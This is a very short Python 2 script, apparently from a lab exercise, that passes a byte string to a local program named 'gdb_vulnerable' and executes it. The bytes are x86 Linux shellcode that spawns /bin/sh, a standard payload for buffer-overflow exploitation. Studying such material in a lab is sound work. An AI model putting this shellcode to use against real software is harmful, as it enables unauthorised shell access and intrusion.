text: #! /usr/bin/python2.3
  prog = "./gdb_vulnerable"
  args = ["vulnerable"]
  buffer = '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80'
  args.append(buffer)
  import os
  os.execv(prog, args)
  